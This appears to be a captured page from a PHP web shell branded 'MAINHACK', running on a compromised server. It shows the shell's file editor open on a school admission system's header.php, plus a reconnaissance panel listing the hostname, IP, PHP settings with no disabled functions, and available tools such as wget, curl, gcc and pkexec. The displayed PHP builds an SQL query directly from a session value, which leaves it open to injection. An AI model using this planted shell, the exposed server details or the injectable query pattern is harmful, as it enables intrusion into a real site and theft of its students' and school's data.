[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: header.php
<?php $code = $_SESSION['s_code_Xw2119904']; $stmt = $con->prepare("Select * from schools where school_code = ?"); $stmt->execute(array($s_code)); $row = $stmt->fetch(); $logo = $row['logo']; $school_name = $row['school_name']; $username = $row['user_name']; $name = $_SESSION['name_Xw2119904']; if($name != 'Admin'){ $myname = $name; } else { $myname = 'Administrator'; } ?> <header id="page-topbar"> <div class="navbar-header"> <div class="d-flex"> <!-- LOGO --> <div class="navbar-brand-box"> <a href="index" class="logo logo-dark"> <span class="logo-sm"> <!--<img src="<?php echo $logo;?>" alt="" height="24">--> </span> <span class="logo-lg"> BBECAS</span> </span> </a> <a href="index" class="logo logo-light"> <span class="logo-sm"> <img src="<?php echo $logo;?>" alt="" height="24"> </span> <span class="logo-lg"> <!--<img src="<?php echo $logo;?>" alt="" height="24"> --> <span class="logo-txt">BBECAS</span> </span> </a> </div> <button type="button" class="btn btn-sm px-3 font-size-16 header-item" id="vertical-menu-btn"> <i class="fa fa-fw fa-bars"></i> </button> <!-- App Search--> <form class="app-search d-none d-lg-block"> <div class="position-relative"> <input type="text" class="form-control" placeholder="Search..."> <button class="btn btn-primary" type="button"><i class="bx bx-search-alt align-middle"></i></button> </div> </form> </div> <?php $admin_year = mysqli_query($new,"SELECT * FROM admission_info WHERE s_code = '$code'"); $fetchR = mysqli_fetch_array($admin_year); $academy_year = $fetchR['academic_year']; $academy_status = $fetchR['admission_status']; ?> <center> <div class="dropdown d-none d-sm-inline-block"> <h5>Admission Year : <?php echo $academy_year;?><br /> Admission Status : <?php if($academy_status == 'CLOSED'){?> <span style="color:red"><?php echo $academy_status;?></span> <?php } else {?> <span style="color:green"><?php echo $academy_status;?></span> <?php }?> </h5> </div> </center> <div class="d-flex"> <div class="dropdown d-inline-block d-lg-none ms-2"> <button type="button" class="btn header-item" id="page-header-search-dropdown" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i data-feather="search" class="icon-lg"></i> </button> <div class="dropdown-menu dropdown-menu-lg dropdown-menu-end p-0" aria-labelledby="page-header-search-dropdown"> <form class="p-3"> <div class="form-group m-0"> <div class="input-group"> <input type="text" class="form-control" placeholder="Search ..." aria-label="Search Result"> <button class="btn btn-primary" type="submit"><i class="mdi mdi-magnify"></i></button> </div> </div> </form> </div> </div> <div class="dropdown d-inline-block"> <button type="button" class="btn header-item bg-light-subtle border-start border-end" id="page-header-user-dropdown" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <img class="rounded-circle header-profile-user" src="<?php echo $logo;?>" alt="Header Avatar"> <span class="d-none d-xl-inline-block ms-1 fw-medium"><?php echo $myname;?></span> <i class="mdi mdi-chevron-down d-none d-xl-inline-block"></i> </button> <div class="dropdown-menu dropdown-menu-end"> <!-- item--> <a class="dropdown-item" href="change-password"><i class="mdi mdi mdi-face-man font-size-16 align-middle me-1"></i> Change password</a> <div class="dropdown-divider"></div> <a class="dropdown-item" href="logout"><i class="mdi mdi-logout font-size-16 align-middle me-1"></i> Logout</a> </div> </div> </div> </div> </header>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.76 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002